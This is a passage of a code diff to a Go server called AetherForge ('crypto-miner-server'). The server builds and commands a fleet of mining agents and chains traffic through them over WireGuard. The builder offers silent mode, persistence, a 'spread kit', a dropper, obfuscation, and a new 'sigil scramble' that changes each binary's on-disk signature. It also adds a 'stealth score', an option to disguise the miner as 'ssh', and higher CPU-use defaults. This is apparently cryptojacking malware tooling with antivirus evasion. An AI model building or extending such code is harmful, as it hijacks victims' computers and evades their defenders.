||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"config": cfg,
|
||||
"qr_png_b64": base64.StdEncoding.EncodeToString(qr),
|
||||
})
|
||||
}
|
||||
|
||||
// DELETE /api/v1/pathtrace/{id}
|
||||
func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
sess := h.getSession(id)
|
||||
if sess == nil {
|
||||
http.Error(w, "session not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
// Tell all agents to tear down.
|
||||
for _, hop := range sess.Hops {
|
||||
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||
Type: "command",
|
||||
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
|
||||
})
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
delete(h.sessions, id)
|
||||
h.mu.Unlock()
|
||||
|
||||
writeJSON(w, map[string]interface{}{"ok": true})
|
||||
}
|
||||
|
||||
// ── orchestration ─────────────────────────────────────────────────────────────
|
||||
|
||||
func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
||||
log.Printf("[pathtrace] session %s: orchestrating %d hop(s)", sess.ID[:8], len(sess.Hops))
|
||||
|
||||
// Phase 1: send wg_setup to every hop in parallel, collect keypairs + IPs.
|
||||
type setupResp struct {
|
||||
hop *HopInfo
|
||||
pub string
|
||||
ip string
|
||||
port int
|
||||
err string
|
||||
}
|
||||
results := make(chan setupResp, len(sess.Hops))
|
||||
|
||||
for _, hop := range sess.Hops {
|
||||
hop := hop
|
||||
ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_setup")
|
||||
err := h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||
Type: "command",
|
||||
Payload: mustMarshal(map[string]interface{}{"action": "wg_setup"}),
|
||||
})
|
||||
if err != nil {
|
||||
h.hub.CancelAwait(hop.AgentID, "wg_setup")
|
||||
results <- setupResp{hop: hop, err: "agent not connected: " + err.Error()}
|
||||
continue
|
||||
}
|
||||
go func() {
|
||||
select {
|
||||
case payload := <-ch:
|
||||
msgStr, _ := payload["message"].(string)
|
||||
// message is JSON-encoded WGSetupResult
|
||||
var res struct {
|
||||
PublicKey string `json:"public_key"`
|
||||
ExternalIP string `json:"external_ip"`
|
||||
ExternalPort int `json:"external_port"`
|
||||
Error string `json:"error"`
|
||||
}
|
||||
if jerr := json.Unmarshal([]byte(msgStr), &res); jerr != nil {
|
||||
results <- setupResp{hop: hop, err: "parse error: " + jerr.Error()}
|
||||
return
|
||||
}
|
||||
if res.Error != "" {
|
||||
results <- setupResp{hop: hop, err: res.Error}
|
||||
return
|
||||
}
|
||||
p := res.ExternalPort
|
||||
if p == 0 {
|
||||
p = 51820
|
||||
}
|
||||
// If UPnP failed, fall back to the IP the server saw.
|
||||
ip := res.ExternalIP
|
||||
if ip == "" {
|
||||
if agent := h.hub.getAgentConnByID(hop.AgentID); agent != nil {
|
||||
ip = hop.ExternalIP // pre-filled below
|
||||
}
|
||||
}
|
||||
results <- setupResp{hop: hop, pub: res.PublicKey, ip: ip, port: p}
|
||||
case <-time.After(20 * time.Second):
|
||||
results <- setupResp{hop: hop, err: "timeout waiting for wg_setup response"}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// Collect Phase 1 results.
|
||||
for range sess.Hops {
|
||||
r := <-results
|
||||
h.mu.Lock()
|
||||
if r.err != "" {
|
||||
r.hop.Status = HopFailed
|
||||
r.hop.Error = r.err
|
||||
sess.Error = "hop " + r.hop.AgentID[:8] + " failed: " + r.err
|
||||
} else {
|
||||
r.hop.PublicKey = r.pub
|
||||
r.hop.ExternalIP = r.ip
|
||||
r.hop.Port = r.port
|
||||
r.hop.Status = HopReady
|
||||
}
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
// If any hop failed at setup, abort.
|
||||
h.mu.Lock()
|
||||
anyFailed := false
|
||||
for _, hop := range sess.Hops {
|
||||
if hop.Status == HopFailed {
|
||||
anyFailed = true
|
||||
break
|
||||
}
|
||||
}
|
||||
h.mu.Unlock()
|
||||
if anyFailed {
|
||||
log.Printf("[pathtrace] session %s: setup failed", sess.ID[:8])
|
||||
return
|
||||
}
|
||||
|
||||
// Phase 2: send wg_configure to each hop.
|
||||
// Build per-hop configs:
|
||||
// - Last hop: peer = none (it's the exit), just IP forwarding
|
||||
// - Middle hops: peer = next hop
|
||||
// - First hop: peer = next hop, or none if single-hop (client connects directly)
|
||||
//
|
||||
// The CLIENT config always points to the FIRST hop.
|
||||
|
||||
type cfgResp struct {
|
||||
hop *HopInfo
|
||||
err string
|
||||
}
|
||||
cfgResults := make(chan cfgResp, len(sess.Hops))
|
||||
|
||||
for i, hop := range sess.Hops {
|
||||
hop := hop
|
||||
i := i
|
||||
|
||||
payload := map[string]interface{}{
|
||||
"session_id": sess.ID,
|
||||
"private_key": "", // agent uses its own generated key
|
||||
"local_address": hop.LocalAddr,
|
||||
"listen_port": hop.Port,
|
||||
"enable_ip_forwarding": true,
|
||||
}
|
||||
|
||||
// Peers for this hop: only for relay hops (all except the exit/last hop).
|
||||
if i < len(sess.Hops)-1 {
|
||||
nextHop := sess.Hops[i+1]
|
||||
payload["peers"] = []map[string]interface{}{
|
||||
{
|
||||
"public_key": nextHop.PublicKey,
|
||||
"endpoint": fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
|
||||
"allowed_ips": "0.0.0.0/0",
|
||||
"persistent_keepalive": 25,
|
||||
},
|
||||
}
|
||||
} else {
|
||||
payload["peers"] = []map[string]interface{}{}
|
||||
}
|
||||
|
||||
dataJSON, _ := json.Marshal(payload)
|
||||
|
||||
ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_configure")
|
||||
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||
Type: "command",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"action": "wg_configure",
|
||||
"data": string(dataJSON),
|
||||
}),
|
||||
})
|
||||
|
||||
go func() {
|
||||
select {
|
||||
case p := <-ch:
|
||||
success, _ := p["success"].(bool)
|
||||
if !success {
|
||||
msg, _ := p["message"].(string)
|
||||
cfgResults <- cfgResp{hop: hop, err: msg}
|
||||
return
|
||||
}
|
||||
cfgResults <- cfgResp{hop: hop}
|
||||
case <-time.After(60 * time.Second):
|
||||
cfgResults <- cfgResp{hop: hop, err: "timeout waiting for wg_configure"}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
for range sess.Hops {
|
||||
r := <-cfgResults
|
||||
h.mu.Lock()
|
||||
if r.err != "" {
|
||||
r.hop.Status = HopFailed
|
||||
r.hop.Error = r.err
|
||||
if sess.Error == "" {
|
||||
sess.Error = "configure failed on " + r.hop.AgentID[:8] + ": " + r.err
|
||||
}
|
||||
}
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
allReady := true
|
||||
for _, hop := range sess.Hops {
|
||||
if hop.Status != HopReady {
|
||||
allReady = false
|
||||
}
|
||||
}
|
||||
if allReady {
|
||||
sess.Ready = true
|
||||
}
|
||||
h.mu.Unlock()
|
||||
|
||||
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
|
||||
}
|
||||
|
||||
// buildClientConfig generates the WireGuard config text the user scans/imports.
|
||||
func (h *PathTracerHandler) buildClientConfig(sess *TraceSession) string {
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
|
||||
var sb strings.Builder
|
||||
sb.WriteString("[Interface]\n")
|
||||
sb.WriteString("PrivateKey = " + sess.clientPrivKey + "\n")
|
||||
sb.WriteString("Address = 10.66.0.1/24\n")
|
||||
sb.WriteString("DNS = 1.1.1.1\n\n")
|
||||
|
||||
// Phone always connects to the first hop.
|
||||
first := sess.Hops[0]
|
||||
sb.WriteString("[Peer]\n")
|
||||
sb.WriteString("PublicKey = " + first.PublicKey + "\n")
|
||||
sb.WriteString(fmt.Sprintf("Endpoint = %s:%d\n", first.ExternalIP, first.Port))
|
||||
sb.WriteString("AllowedIPs = 0.0.0.0/0\n")
|
||||
sb.WriteString("PersistentKeepalive = 25\n")
|
||||
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
// ── helpers ───────────────────────────────────────────────────────────────────
|
||||
|
||||
func (h *PathTracerHandler) getSession(id string) *TraceSession {
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
return h.sessions[id]
|
||||
}
|
||||
|
||||
// getAgentConnByID returns the AgentConnection for the given ID (nil if offline).
|
||||
func (h *WSHub) getAgentConnByID(id string) *AgentConnection {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
return h.agents[id]
|
||||
}
|
||||
|
||||
func generateServerWGKeyPair() (privB64, pubB64 string, err error) {
|
||||
var priv [32]byte
|
||||
if _, err = rand.Read(priv[:]); err != nil {
|
||||
return
|
||||
}
|
||||
priv[0] &= 248
|
||||
priv[31] &= 127
|
||||
priv[31] |= 64
|
||||
var pub [32]byte
|
||||
curve25519.ScalarBaseMult(&pub, &priv)
|
||||
privB64 = base64.StdEncoding.EncodeToString(priv[:])
|
||||
pubB64 = base64.StdEncoding.EncodeToString(pub[:])
|
||||
return
|
||||
}
|
||||
@@ -401,9 +401,14 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
})
|
||||
}
|
||||
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, serverVersion ...string) http.Handler {
|
||||
ensureUsersLoaded(dataDir)
|
||||
|
||||
version := "AetherForge"
|
||||
if len(serverVersion) > 0 && serverVersion[0] != "" {
|
||||
version = serverVersion[0]
|
||||
}
|
||||
|
||||
r := chi.NewRouter()
|
||||
|
||||
// Middleware (global)
|
||||
@@ -425,6 +430,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
h := NewHandler(database)
|
||||
|
||||
r.Get("/health", h.HealthCheck)
|
||||
r.Get("/server/ready", h.ServerReady)
|
||||
r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
|
||||
override := ""
|
||||
if publicURLOverride != nil {
|
||||
@@ -453,6 +459,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// Fleet ops
|
||||
if fleetHandler != nil {
|
||||
r.Get("/alerts", fleetHandler.GetAlerts)
|
||||
r.Post("/alerts/test", fleetHandler.PostAlertTest)
|
||||
r.Get("/pools/status", fleetHandler.GetPoolStatus)
|
||||
r.Get("/ai/activity", fleetHandler.GetAIActivity)
|
||||
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
|
||||
@@ -529,6 +536,18 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
writeJSON(w, map[string]interface{}{"success": true})
|
||||
})
|
||||
|
||||
// Deck backup — authenticated full backup ZIP (config + DB + users)
|
||||
backupH := NewBackupHandler(dataDir, version)
|
||||
r.Get("/backup", backupH.ServeHTTP)
|
||||
|
||||
// Path Tracer — on-demand WireGuard chain sessions
|
||||
if pathTracerHandler != nil {
|
||||
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
||||
r.Get("/pathtrace/{id}/status", pathTracerHandler.Status)
|
||||
r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR)
|
||||
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
||||
}
|
||||
|
||||
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
|
||||
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
||||
r.Post("/agent/decide", aiHandler.HandleDecide)
|
||||
|
||||
@@ -348,7 +348,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
||||
cfg := &mockConfigProvider{}
|
||||
configHandler := NewConfigHandler(cfg)
|
||||
aiHandler := NewAIHandler(database)
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil)
|
||||
@@ -424,7 +424,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
cfg := &mockConfigProvider{}
|
||||
configHandler := NewConfigHandler(cfg)
|
||||
aiHandler := NewAIHandler(database)
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
|
||||
@@ -2,8 +2,10 @@ package api
|
||||
|
||||
import (
|
||||
"crypto/subtle"
|
||||
"database/sql"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
@@ -11,6 +13,7 @@ import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/alerts"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
@@ -100,6 +103,9 @@ func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time
|
||||
return d.Conn.WriteControl(messageType, data, deadline)
|
||||
}
|
||||
|
||||
// cmdResultKey is used to key pending command callbacks: "agentID:action".
|
||||
type cmdResultKey struct{ AgentID, Action string }
|
||||
|
||||
type WSHub struct {
|
||||
db *db.Database
|
||||
agents map[string]*AgentConnection
|
||||
@@ -115,7 +121,13 @@ type WSHub struct {
|
||||
serverPolicy ServerPolicy
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
mu sync.RWMutex
|
||||
|
||||
// pendingCmdCallbacks allows handlers to await a specific command_result
|
||||
// from an agent (used by Path Tracer orchestration).
|
||||
pendingCmdMu sync.Mutex
|
||||
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
|
||||
}
|
||||
|
||||
func NewWSHub(database *db.Database) *WSHub {
|
||||
@@ -128,14 +140,15 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
}
|
||||
|
||||
h := &WSHub{
|
||||
db: database,
|
||||
agents: make(map[string]*AgentConnection),
|
||||
dashboards: make(map[string]*DashboardConn),
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentCapabilities: make(map[string]models.AgentCapabilities),
|
||||
agentLogs: make(map[string]string),
|
||||
agentDNS: make(map[string][]string),
|
||||
pingIntervalSec: 30,
|
||||
db: database,
|
||||
agents: make(map[string]*AgentConnection),
|
||||
dashboards: make(map[string]*DashboardConn),
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentCapabilities: make(map[string]models.AgentCapabilities),
|
||||
agentLogs: make(map[string]string),
|
||||
agentDNS: make(map[string][]string),
|
||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||
pingIntervalSec: 30,
|
||||
}
|
||||
|
||||
// Background stale-agent sweep: if an agent's last_seen is more than
|
||||
@@ -206,6 +219,12 @@ func (h *WSHub) SetPingInterval(seconds int) {
|
||||
|
||||
// SetFleetSecret stores the shared secret that all forged agents must present.
|
||||
// Called once at startup from main.go after config is loaded.
|
||||
func (h *WSHub) SetEventNotifier(n *alerts.Notifier) {
|
||||
h.mu.Lock()
|
||||
h.eventNotifier = n
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) SetFleetSecret(secret string) {
|
||||
h.mu.Lock()
|
||||
h.fleetSecret = secret
|
||||
@@ -299,6 +318,40 @@ func (h *WSHub) connectedAgentCount() int {
|
||||
return len(h.agents)
|
||||
}
|
||||
|
||||
// AwaitCommandResult registers a one-shot channel that will receive the next
|
||||
// command_result payload for the given agentID+action pair. Call before
|
||||
// sending the command so no result is missed. The caller must read from the
|
||||
// returned channel within the given timeout.
|
||||
func (h *WSHub) AwaitCommandResult(agentID, action string) <-chan map[string]interface{} {
|
||||
ch := make(chan map[string]interface{}, 1)
|
||||
h.pendingCmdMu.Lock()
|
||||
h.pendingCmdCallbacks[cmdResultKey{agentID, action}] = ch
|
||||
h.pendingCmdMu.Unlock()
|
||||
return ch
|
||||
}
|
||||
|
||||
// CancelAwait removes a pending callback without consuming it.
|
||||
func (h *WSHub) CancelAwait(agentID, action string) {
|
||||
h.pendingCmdMu.Lock()
|
||||
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
|
||||
h.pendingCmdMu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) notifyCmdCallback(agentID, action string, payload map[string]interface{}) {
|
||||
h.pendingCmdMu.Lock()
|
||||
ch, ok := h.pendingCmdCallbacks[cmdResultKey{agentID, action}]
|
||||
if ok {
|
||||
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
|
||||
}
|
||||
h.pendingCmdMu.Unlock()
|
||||
if ok {
|
||||
select {
|
||||
case ch <- payload:
|
||||
default:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) isAgentConnected(agentID string) bool {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
@@ -582,6 +635,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
clientIP = clientIP[:idx]
|
||||
}
|
||||
|
||||
prior, priorErr := h.db.GetAgent(agentID)
|
||||
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
|
||||
|
||||
agent := &models.Agent{
|
||||
ID: agentID,
|
||||
Name: displayName,
|
||||
@@ -616,8 +672,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
// two concurrent new agents could both pass the count check under RLock, then
|
||||
// both get registered, overshooting the limit.
|
||||
h.mu.Lock()
|
||||
_, alreadyConnected := h.agents[agentID]
|
||||
if policy.MaxAgents > 0 {
|
||||
_, alreadyConnected := h.agents[agentID]
|
||||
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
|
||||
h.mu.Unlock()
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -653,6 +709,23 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
Payload: mustMarshal(agent),
|
||||
})
|
||||
|
||||
if h.eventNotifier != nil {
|
||||
platform := auth.Platform
|
||||
if platform == "" {
|
||||
platform = "unknown"
|
||||
}
|
||||
if isNewAgent {
|
||||
h.eventNotifier.Emit(alerts.EventAgentConnect, "AetherForge connect",
|
||||
displayName+" joined the fleet ("+platform+" · "+clientIP+")")
|
||||
} else if alreadyConnected {
|
||||
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
|
||||
displayName+" took over an active session ("+clientIP+")")
|
||||
} else if prior != nil && prior.Status != "online" {
|
||||
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
|
||||
displayName+" is back online ("+platform+" · "+clientIP+")")
|
||||
}
|
||||
}
|
||||
|
||||
case "stats":
|
||||
if agentID == "" {
|
||||
continue
|
||||
@@ -721,7 +794,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
|
||||
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
|
||||
|
||||
h.db.InsertHashrateSample(agentID, stats.Hashrate15m)
|
||||
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
|
||||
h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
|
||||
|
||||
h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
|
||||
|
||||
broadcast := map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
@@ -972,6 +1048,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
payload["agent_id"] = agentID
|
||||
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
|
||||
// Notify any handler waiting for this specific agent+action result.
|
||||
if action, _ := payload["action"].(string); action != "" {
|
||||
h.notifyCmdCallback(agentID, action, payload)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -106,6 +106,7 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
|
||||
}); err != nil {
|
||||
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
|
||||
}
|
||||
h.notifyBuildComplete(zipName, req.WorkerName, zipBytes)
|
||||
|
||||
return BuildResponse{
|
||||
Success: true,
|
||||
@@ -229,6 +230,7 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
|
||||
}); err != nil {
|
||||
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
|
||||
}
|
||||
h.notifyBuildComplete(zipName, req.WorkerName, zipBytes2)
|
||||
|
||||
return BuildResponse{
|
||||
Success: true,
|
||||
|
||||
@@ -15,6 +15,7 @@ import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/alerts"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
@@ -36,6 +37,7 @@ type BuildRequest struct {
|
||||
DisplayMode string `json:"display_mode"`
|
||||
SilentMode bool `json:"silent_mode"`
|
||||
RunAs string `json:"run_as"`
|
||||
HostBinaryTarget string `json:"host_binary_target"`
|
||||
AutoStart bool `json:"auto_start"`
|
||||
Persistence bool `json:"persistence"`
|
||||
ProcessName string `json:"process_name"`
|
||||
@@ -80,6 +82,7 @@ type BuildRequest struct {
|
||||
TargetArch string `json:"target_arch"`
|
||||
SpreadKit bool `json:"spread_kit"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SigilScramble bool `json:"sigil_scramble"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
BackupPools []BackupPool `json:"backup_pools"`
|
||||
// CancelToken is a client-generated UUID. Pass the same token to
|
||||
@@ -126,6 +129,9 @@ type BuildResponse struct {
|
||||
WorkerFile string `json:"worker_file,omitempty"`
|
||||
Signed bool `json:"signed,omitempty"`
|
||||
Obfuscated bool `json:"obfuscated,omitempty"`
|
||||
SigilScramble bool `json:"sigil_scramble,omitempty"`
|
||||
BinaryFingerprint string `json:"binary_fingerprint,omitempty"`
|
||||
StealthScore int `json:"stealth_score,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
@@ -155,7 +161,8 @@ type Handler struct {
|
||||
goWinresPath string
|
||||
serverModDir string
|
||||
policy BuildPolicy
|
||||
fleetSecret string // injected from server config; baked into every forge output
|
||||
fleetSecret string // injected from server config; baked into every forge output
|
||||
eventNotifier *alerts.Notifier
|
||||
|
||||
// Active build cancellation — maps cancel_token → cancel func so the frontend
|
||||
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
|
||||
@@ -168,6 +175,19 @@ func (h *Handler) SetFleetSecret(secret string) {
|
||||
h.fleetSecret = secret
|
||||
}
|
||||
|
||||
func (h *Handler) SetEventNotifier(n *alerts.Notifier) {
|
||||
h.eventNotifier = n
|
||||
}
|
||||
|
||||
func (h *Handler) notifyBuildComplete(fileName, workerName string, sizeBytes int64) {
|
||||
if h.eventNotifier == nil {
|
||||
return
|
||||
}
|
||||
sizeMB := float64(sizeBytes) / 1024 / 1024
|
||||
h.eventNotifier.Emit(alerts.EventBuildComplete, "AetherForge forge",
|
||||
fmt.Sprintf("%s ready (%.1f MB) — %s", fileName, sizeMB, workerName))
|
||||
}
|
||||
|
||||
// CancelBuild cancels an in-progress build identified by cancelToken.
|
||||
// Returns true if the token was found and cancelled, false if unknown.
|
||||
func (h *Handler) CancelBuild(cancelToken string) bool {
|
||||
@@ -631,6 +651,23 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
}
|
||||
}
|
||||
|
||||
scrambled := false
|
||||
fingerprint := ""
|
||||
if shouldSigilScramble(req) {
|
||||
fp, err := ApplySigilScramble(finalPath, buildID)
|
||||
if err != nil {
|
||||
log.Printf("[Forge] sigil scramble: %v", err)
|
||||
} else {
|
||||
scrambled = true
|
||||
fingerprint = fp
|
||||
if exportPath != "" && exportPath != finalPath {
|
||||
if fp2, err := ApplySigilScramble(exportPath, buildID+"-export"); err == nil {
|
||||
_ = fp2
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fileInfo, err := os.Stat(finalPath)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
||||
@@ -683,6 +720,8 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size())
|
||||
|
||||
resp := BuildResponse{
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
@@ -705,6 +744,9 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
WorkerFile: workerName,
|
||||
Signed: signed,
|
||||
Obfuscated: obfuscated,
|
||||
SigilScramble: scrambled,
|
||||
BinaryFingerprint: fingerprint,
|
||||
StealthScore: StealthScore(obfuscated, scrambled, signed),
|
||||
}
|
||||
if fusionEnabled && bundleDownloadURL != "" {
|
||||
resp.DownloadURL = bundleDownloadURL
|
||||
@@ -810,7 +852,7 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
req.ProcessName = sanitizeFileName(req.WorkerName)
|
||||
}
|
||||
if req.MaxMemoryPct <= 0 {
|
||||
req.MaxMemoryPct = 70
|
||||
req.MaxMemoryPct = 85
|
||||
}
|
||||
if req.CPUPriority == "" {
|
||||
req.CPUPriority = "below_normal"
|
||||
@@ -821,11 +863,14 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.RunAs == "" {
|
||||
req.RunAs = "user"
|
||||
}
|
||||
if req.RunAs == "host_binary" && strings.TrimSpace(req.HostBinaryTarget) == "" {
|
||||
req.HostBinaryTarget = "ssh"
|
||||
}
|
||||
if req.MaxCPUUsagePct <= 0 {
|
||||
req.MaxCPUUsagePct = 80
|
||||
req.MaxCPUUsagePct = 95
|
||||
}
|
||||
if req.MinFreeRAMMB <= 0 {
|
||||
req.MinFreeRAMMB = 1024
|
||||
req.MinFreeRAMMB = 512
|
||||
}
|
||||
if req.IdleThresholdPct <= 0 {
|
||||
req.IdleThresholdPct = 20
|
||||
@@ -983,8 +1028,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
MiningMode: %q,
|
||||
DisplayMode: %q,
|
||||
SilentMode: %v,
|
||||
RunAs: %q,
|
||||
AutoStart: %v,
|
||||
RunAs: %q,
|
||||
HostBinaryTarget: %q,
|
||||
AutoStart: %v,
|
||||
ProcessName: %q,
|
||||
BuildID: %q,
|
||||
BuiltAt: time.Unix(%d, 0),
|
||||
@@ -1046,6 +1092,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.DisplayMode,
|
||||
req.SilentMode,
|
||||
req.RunAs,
|
||||
req.HostBinaryTarget,
|
||||
req.AutoStart,
|
||||
req.ProcessName,
|
||||
buildID,
|
||||
|
||||
120
server/internal/builder/scramble.go
Normal file
120
server/internal/builder/scramble.go
Normal file
@@ -0,0 +1,120 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"hash/fnv"
|
||||
"io"
|
||||
"math/rand"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const sigilOverlayMagic = "AFSC\x01"
|
||||
|
||||
// ApplySigilScramble mutates the built binary so each dispense has a unique on-disk
|
||||
// signature (overlay entropy + optional PE timestamp). Does not change runtime logic.
|
||||
func ApplySigilScramble(path, buildID string) (fingerprint string, err error) {
|
||||
if path == "" {
|
||||
return "", fmt.Errorf("empty path")
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return "", fmt.Errorf("empty binary")
|
||||
}
|
||||
|
||||
seed := strings.TrimSpace(buildID)
|
||||
if seed == "" {
|
||||
seed = fmt.Sprintf("%d", time.Now().UnixNano())
|
||||
}
|
||||
rng := scrambleRNG(seed)
|
||||
|
||||
if isPEExecutable(path, data) {
|
||||
data = patchPETimestamp(data, rng)
|
||||
}
|
||||
|
||||
